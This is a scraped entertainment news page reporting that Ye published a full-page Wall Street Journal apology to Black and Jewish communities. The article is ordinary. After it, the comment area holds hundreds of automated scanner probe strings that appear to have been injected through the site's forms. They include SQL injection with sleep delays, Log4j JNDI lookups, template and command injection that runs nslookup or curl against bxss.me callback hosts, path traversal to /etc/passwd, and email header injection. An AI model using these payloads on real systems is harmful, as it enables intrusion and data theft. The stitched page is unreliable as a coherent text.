Ye Takes Out Full-Page Ad to Apologize to Black and Jewish Communities
- Post By DJ Longers
- January 28, 2026
"I Lost Touch with Reality": Ye Takes Out Full-Page Ad to Apologize to Black and Jewish Communities
NEW YORK — In an extraordinary act of public contrition, the artist formerly known as Kanye West has taken out a full-page advertisement in the Wall Street Journal to issue a formal apology to both the Black and Jewish communities. Titled "To Those I’ve Hurt," the letter marks his most significant attempt to reconcile with the public following years of inflammatory rhetoric, including praise for Adolf Hitler and the promotion of "White Lives Matter" merchandise.
The advertisement, which appeared in Monday’s print edition, sees the 48-year-old mogul attributing his erratic behavior to a combination of untreated mental health struggles and a previously undiagnosed brain injury.
Accountability and "Medical Oversight"
In the open letter, Ye writes candidly about the "fractured state" he inhabited during recent controversies. He specifically cites a frontal-lobe brain injury sustained in his famous 2002 car accident—the event that inspired his breakout hit "Through the Wire"—which he claims was not properly diagnosed until late 2023.
“I lost touch with reality,” Ye writes. “One of the difficult aspects of having bipolar type-1 are the disconnected moments—many of which I still cannot recall—that led to poor judgment and reckless behavior. I am deeply mortified by my actions. It does not excuse what I did, though.”
A Dual Apology
The letter addresses the two communities most impacted by his recent outbursts:
-
To the Jewish Community: Ye explicitly denies being a Nazi or an antisemite, writing, “I love Jewish people.” This follows a 2025 incident in which he released a track titled "Heil Hitler" and sold swastika-branded apparel—actions he now describes as "gravitating toward the most destructive symbol I could find" while in a manic state.
-
To the Black Community: Acknowledging the "foundation of who I am," Ye apologized for his 2018 comments suggesting slavery was a "choice" and his later appropriation of the Confederate flag. “I am so sorry to have let you down. I love us,” the letter reads.
The Path to "Bully"
Industry insiders suggest the apology is part of a broader effort to clear the deck for his upcoming studio album, Bully. Initially scheduled for release on 30th January, the album has been delayed as Ye reportedly focuses on his "new center" through a regime of medication, therapy, and "clean living."
The rapper notes that his wife, Bianca Censori, was instrumental in encouraging him to seek professional help following a "rock bottom" moment a few months ago.
Skepticism and Silence
Despite the high-profile nature of the Wall Street Journal ad, response from community leaders has been cautious. Organizations like the Anti-Defamation League (ADL) have previously welcomed Ye’s apologies, including his 2023 Instagram post in Hebrew only to see him return to antisemitic tropes shortly after.
“Actions speak louder than full-page ads,” says cultural critic Marcus Thorne. “The question isn't whether he can write a letter; it’s whether he can maintain the stability and sensitivity he’s promising today.”
Ye concluded his letter with a plea for patience: “I’m not asking for sympathy, or a free pass... I write today simply to ask for your patience and understanding as I find my way home.”
Comment / Reply From
Comments
You May Also Like
Recent Posts
Recommended Posts
-
“Absolute Power”
- Post By DJ Longers
- March 5, 2026
Featured Posts
-
“Absolute Power”
- Post By DJ Longers
- March 5, 2026
555
20
20
555
555
1M54O8I3L0
555
HttP://bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00
"+"A".concat(70-3).concat(22*4).concat(106).concat(81).concat(100).concat(81)+(require"socket" Socket.gethostbyname("hitdh"+"ygiuqsvu1dbb6.bxss.me.")[3].to_s)+"
comment
http://hitvpgjkqzvqg.bxss.me/
comment
comment/.
hitvpgjkqzvqg.bxss.me
20
'+'A'.concat(70-3).concat(22*4).concat(109).concat(84).concat(105).concat(84)+(require'socket' Socket.gethostbyname('hithv'+'zvoznyfgb5fd8.bxss.me.')[3].to_s)+'
xfs.bxss.me
20
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
'">
'A'.concat(70-3).concat(22*4).concat(97).concat(85).concat(119).concat(86)+(require'socket' Socket.gethostbyname('hithw'+'atjeiqgg43820.bxss.me.')[3].to_s)
555
555
555
ExJ6RRWL
response.write(9531745*9116844)
gEO8Yv3s: saAoHhrA
${j${::-n}di:dns${::-:}${::-/}${::-/}hitkibiwawjcc2d2fd${::-.}bxss.me}zzzz${url:UTF-8:http://hitwqtwsbofoy.bxss.me/}
555'>">
'+response.write(9531745*9116844)+'
555javascript:/*
"+response.write(9531745*9116844)+"
555
${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}${::-/}dns.log4j.359280.5-4330.5.07fcd${::-.}1${::-.}bxss.me}}
555
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
file:///etc/passwd
555
../555
redirtest.acx
)
https://news.ayozat.com/
require('child_process').exec('nslookup -q=cname hitflsgcxflnx5f9f6.zzss.ee'.replace('.zzss.ee','.bxss.me'))
!(()&&!|*|*|
https://bxss.me/
^(#$!@#$)(()))******
'+require('child_process').exec('nslookup -q=cname hitflsgcxflnx5f9f6.zzss.ee'.replace('.zzss.ee','.bxss.me'))+'
https://news.ayozat.com.bxss.me/
https://news.ayozat.com@bxss.me/
555
"+require('child_process').exec('nslookup -q=cname hitflsgcxflnx5f9f6.zzss.ee'.replace('.zzss.ee','.bxss.me'))+"
https://news.ayozat.com:80@bxss.me/
https://bxss.me\@news.ayozat.com/
https://bxss.me#news.ayozat.com/
https://bxss.me?news.ayozat.com/
@bxss.me/
https://bxss.me?555
'.gethostbyname(lc('hitbz'.'seccfdwfc5ae0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(79).chr(121).chr(89).'
//bxss.me/
20
//bxss.me/news.ayozat.com/
555
".gethostbyname(lc("hitpf"."xchibhate58b7.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(68).chr(107).chr(78)."
http:bxss.me
str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitqvjdgvyzny5b27a.'+'bxss.me')
echo qqjtgj$()\ yqqhmd\nz^xyu||a #' &echo qqjtgj$()\ yqqhmd\nz^xyu||a #|" &echo qqjtgj$()\ yqqhmd\nz^xyu||a #
'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitqvjdgvyzny5b27a."+"bxss.me")+'
https:\\bxss.me\
gethostbyname(lc('hityg'.'dxnrlbkg091f5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(81).chr(101).chr(86)
'{"
&echo afcwgf$()\ rkwgly\nz^xyu||a #' &echo afcwgf$()\ rkwgly\nz^xyu||a #|" &echo afcwgf$()\ rkwgly\nz^xyu||a #
"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitqvjdgvyzny5b27a.'+'bxss.me')+"
/\bxss.me/
20
555
555&echo qlsort$()\ inkcxf\nz^xyu||a #' &echo qlsort$()\ inkcxf\nz^xyu||a #|" &echo qlsort$()\ inkcxf\nz^xyu||a #
/\/bxss.me/
'"()
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
|echo oqakvj$()\ qpdtan\nz^xyu||a #' |echo oqakvj$()\ qpdtan\nz^xyu||a #|" |echo oqakvj$()\ qpdtan\nz^xyu||a #
\\bxss.me
555'&&sleep(27*1000)*aufdho&&'
';print(md5(31337));$a='
555|echo utbtba$()\ lvvmdq\nz^xyu||a #' |echo utbtba$()\ lvvmdq\nz^xyu||a #|" |echo utbtba$()\ lvvmdq\nz^xyu||a #
%2f%2fbxss.me%2f
555"&&sleep(27*1000)*ytbozy&&"
";print(md5(31337));$a="
expr 9000479058 - 932904
//bxss.me/?555
555'||sleep(27*1000)*kfkfit||'
https://bxss.me?https://news.ayozat.com/
https://bxss.me/555
(nslookup -q=cname hitmpheiqqogza4967.bxss.me||curl hitmpheiqqogza4967.bxss.me))
${@print(md5(31337))}
redirtest.acx?555
555"||sleep(27*1000)*frqkzj||"
555 bcc:359280.5-4343.5.07fcd.20484.2@bxss.me
555
to@example.com> bcc:359280.5-4344.5.07fcd.20484.2@bxss.me
$(nslookup -q=cname hitpqotwwhhpj1f515.bxss.me||curl hitpqotwwhhpj1f515.bxss.me)
${@print(md5(31337))}\
'.print(md5(31337)).'
&nslookup -q=cname hitycdmzdfpmmd5694.bxss.me&'\"`0&nslookup -q=cname hitycdmzdfpmmd5694.bxss.me&`'
&(nslookup -q=cname hithqjtiiuwxxa4df2.bxss.me||curl hithqjtiiuwxxa4df2.bxss.me)&'\"`0&(nslookup -q=cname hithqjtiiuwxxa4df2.bxss.me||curl hithqjtiiuwxxa4df2.bxss.me)&`'
12345'"\'\");|]*{
|(nslookup -q=cname hitcekjjykndm811fe.bxss.me||curl hitcekjjykndm811fe.bxss.me)
`(nslookup -q=cname hitaocrwmucfq553f1.bxss.me||curl hitaocrwmucfq553f1.bxss.me)`
;(nslookup -q=cname hitlrrxfyvrnn81e2f.bxss.me||curl hitlrrxfyvrnn81e2f.bxss.me)|(nslookup -q=cname hitlrrxfyvrnn81e2f.bxss.me||curl hitlrrxfyvrnn81e2f.bxss.me)&(nslookup -q=cname hitlrrxfyvrnn81e2f.bxss.me||curl hitlrrxfyvrnn81e2f.bxss.me)
|(nslookup${IFS}-q${IFS}cname${IFS}hitzedufryalye4ea7.bxss.me||curl${IFS}hitzedufryalye4ea7.bxss.me)
555
555
${10000205+9999161}
&(nslookup${IFS}-q${IFS}cname${IFS}hitfcsivkzyrm322fe.bxss.me||curl${IFS}hitfcsivkzyrm322fe.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitfcsivkzyrm322fe.bxss.me||curl${IFS}hitfcsivkzyrm322fe.bxss.me)&`'
555RbUAflt1
555
555
555
-1 OR 5*5=25 --
555&n977397=v973016
-1 OR 5*5=25
-1' OR 5*5=25 --
555'"()&%NDSB(9240)
-1" OR 5*5=25 --
-1' OR 5*5=25 or 'qdmAk4KI'='
-1" OR 5*5=25 or "3EJKto3t"="
555*if(now()=sysdate(),sleep(15),0)
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitnemhbjghlh2b1f4.bxss.me")}}
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
/etc/shells
555-1; waitfor delay '0:0:15' --
../../../../../../../../../../../../../../etc/shells
'"()&%NDSB(9518)
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
c:/windows/win.ini
555G6mmQ6cE'; waitfor delay '0:0:15' --
bxss.me
Http://bxss.me/t/fit.txt
555-1 OR 851=(SELECT 851 FROM PG_SLEEP(15))--
http://bxss.me/t/fit.txt?.jpg
20
555-1) OR 425=(SELECT 425 FROM PG_SLEEP(15))--
5559553119
555-1)) OR 403=(SELECT 403 FROM PG_SLEEP(15))--
20
555cGmpbF1X' OR 33=(SELECT 33 FROM PG_SLEEP(15))--
555TPaMM0yI') OR 216=(SELECT 216 FROM PG_SLEEP(15))--
555TLDQaaXb')) OR 384=(SELECT 384 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555'"
555
@@bGcIj
(select 198766*667891)
(select 198766*667891 from DUAL)
555
555
555
1Z3TP4ZY50
HttP://bxss.me/t/xss.html?%00
555
bxss.me/t/xss.html?%00
'">
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
"+"A".concat(70-3).concat(22*4).concat(114).concat(73).concat(119).concat(72)+(require"socket" Socket.gethostbyname("hitvb"+"ycomwprh8bd94.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(120).concat(79).concat(107).concat(85)+(require'socket' Socket.gethostbyname('hitmo'+'xhqttsvv9eb0a.bxss.me.')[3].to_s)+'
http://hitndqerryfkr.bxss.me/
xfs.bxss.me
'A'.concat(70-3).concat(22*4).concat(101).concat(84).concat(112).concat(65)+(require'socket' Socket.gethostbyname('hitxk'+'nfbqjgowba510.bxss.me.')[3].to_s)
hitndqerryfkr.bxss.me
%00
&testingent;
testing
%xxe; ]>
v8Uh6SUy
'>">
javascript:/*
j3xCUn99: VqOFkJX2
test
response.write(9472346*9339288)
${j${::-n}di:dns${::-:}${::-/}${::-/}hitsipuowjvzl744a3${::-.}bxss.me}zzzz${url:UTF-8:http://hithxvkrfjfna.bxss.me/}
'+response.write(9472346*9339288)+'
"+response.write(9472346*9339288)+"
${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}${::-/}dns.log4j.359280.5-5065.5.b8c56${::-.}1${::-.}bxss.me}}
)
!(()&&!|*|*|
^(#$!@#$)(()))******
require('child_process').exec('nslookup -q=cname hitjtfxhpuikkfb390.zzss.ee'.replace('.zzss.ee','.bxss.me'))
../../../../../../../../../../../../../../etc/passwd
'+require('child_process').exec('nslookup -q=cname hitjtfxhpuikkfb390.zzss.ee'.replace('.zzss.ee','.bxss.me'))+'
'"()
../../../../../../../../../../../../../../windows/win.ini
'&&sleep(27*1000)*wjfmvg&&'
"+require('child_process').exec('nslookup -q=cname hitjtfxhpuikkfb390.zzss.ee'.replace('.zzss.ee','.bxss.me'))+"
file:///etc/passwd
"&&sleep(27*1000)*ovqjzt&&"
'||sleep(27*1000)*vmdqsa||'
../../../../../../../../../../../../../../../proc/version
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
"||sleep(27*1000)*lxepdd||"
'.gethostbyname(lc('hitci'.'sfwzleqrd171d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(90).chr(122).chr(84).'
../../../../../../../../../../etc/passwd%00.jpg
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
".gethostbyname(lc("hittf"."vfwxxjiiaa0b2.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(79).chr(98).chr(75)."
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
gethostbyname(lc('hitjf'.'skawowthd1998.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(65).chr(112).chr(75)
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
/.././.././.././.././.././.././.././../etc/./passwd%00
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
../././../././../././../././../././../././../././../././../././etc/passwd
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitbjitcympela22c9.'+'bxss.me')
file:///etc/passwd
'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitbjitcympela22c9."+"bxss.me")+'
'{"
/\../\../\../\../\../\../\../etc/passwd
"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitbjitcympela22c9.'+'bxss.me')+"
https://news.ayozat.com/
/WEB-INF/web.xml
https://redirtest.acx/
WEB-INF/web.xml
WEB-INF\web.xml
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
echo ygpjlv$()\ hapkvi\nz^xyu||a #' &echo ygpjlv$()\ hapkvi\nz^xyu||a #|" &echo ygpjlv$()\ hapkvi\nz^xyu||a #
${@print(md5(31337))}\
&echo glchvi$()\ xohine\nz^xyu||a #' &echo glchvi$()\ xohine\nz^xyu||a #|" &echo glchvi$()\ xohine\nz^xyu||a #
%0abcc:359280.5-5090.5.b8c56.20484.2@bxss.me
${10000478+9999899}
|echo ocfhum$()\ klmumm\nz^xyu||a #' |echo ocfhum$()\ klmumm\nz^xyu||a #|" |echo ocfhum$()\ klmumm\nz^xyu||a #
to@example.com>%0d%0abcc:359280.5-5091.5.b8c56.20484.2@bxss.me
expr 9000205966 - 974145
'.print(md5(31337)).'
(nslookup -q=cname hitmgpobmphoq7ce10.bxss.me||curl hitmgpobmphoq7ce10.bxss.me))
1'"()&%2yZp(9803)
1
$(nslookup -q=cname hitetrslpiglp341c5.bxss.me||curl hitetrslpiglp341c5.bxss.me)
1
'"()&%2yZp(9670)
1IumQ2S5n
12345'"\'\");|]*%00{%0d%0a%bf%27'💡
1
&nslookup -q=cname hitohwmetedacf2be7.bxss.me&'\"`0&nslookup -q=cname hitohwmetedacf2be7.bxss.me&`'
-1 OR 5*5=25 --
19914274
&n924953=v938653
-1 OR 5*5=25
&(nslookup -q=cname hitnwvktmtzfh8feef.bxss.me||curl hitnwvktmtzfh8feef.bxss.me)&'\"`0&(nslookup -q=cname hitnwvktmtzfh8feef.bxss.me||curl hitnwvktmtzfh8feef.bxss.me)&`'
-1' OR 5*5=25 --
|(nslookup -q=cname hitolbqbzpcds506b4.bxss.me||curl hitolbqbzpcds506b4.bxss.me)
-1" OR 5*5=25 --
-1' OR 5*5=25 or 'LdkEFRa6'='
`(nslookup -q=cname hitcjldwsmzzr785c0.bxss.me||curl hitcjldwsmzzr785c0.bxss.me)`
-1" OR 5*5=25 or "SnNMpjaf"="
;(nslookup -q=cname hitbkdvvpsawy41897.bxss.me||curl hitbkdvvpsawy41897.bxss.me)|(nslookup -q=cname hitbkdvvpsawy41897.bxss.me||curl hitbkdvvpsawy41897.bxss.me)&(nslookup -q=cname hitbkdvvpsawy41897.bxss.me||curl hitbkdvvpsawy41897.bxss.me)
1*if(now()=sysdate(),sleep(15),0)
|(nslookup${IFS}-q${IFS}cname${IFS}hitaymagroldn3f733.bxss.me||curl${IFS}hitaymagroldn3f733.bxss.me)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
&(nslookup${IFS}-q${IFS}cname${IFS}hitekimggadncd7fca.bxss.me||curl${IFS}hitekimggadncd7fca.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitekimggadncd7fca.bxss.me||curl${IFS}hitekimggadncd7fca.bxss.me)&`'
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1mpavT9mp'; waitfor delay '0:0:15' --
1-1 OR 914=(SELECT 914 FROM PG_SLEEP(15))--
1-1) OR 426=(SELECT 426 FROM PG_SLEEP(15))--
1-1)) OR 114=(SELECT 114 FROM PG_SLEEP(15))--
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
15hSI8ZO7' OR 913=(SELECT 913 FROM PG_SLEEP(15))--
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
/etc/shells
1JGWXQRWk') OR 516=(SELECT 516 FROM PG_SLEEP(15))--
../../../../../../../../../../../../../../etc/shells
c:/windows/win.ini
bxss.me
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
1X2LbTQSf')) OR 138=(SELECT 138 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
@@gOqXE
(select 198766*667891)
(select 198766*667891 from DUAL)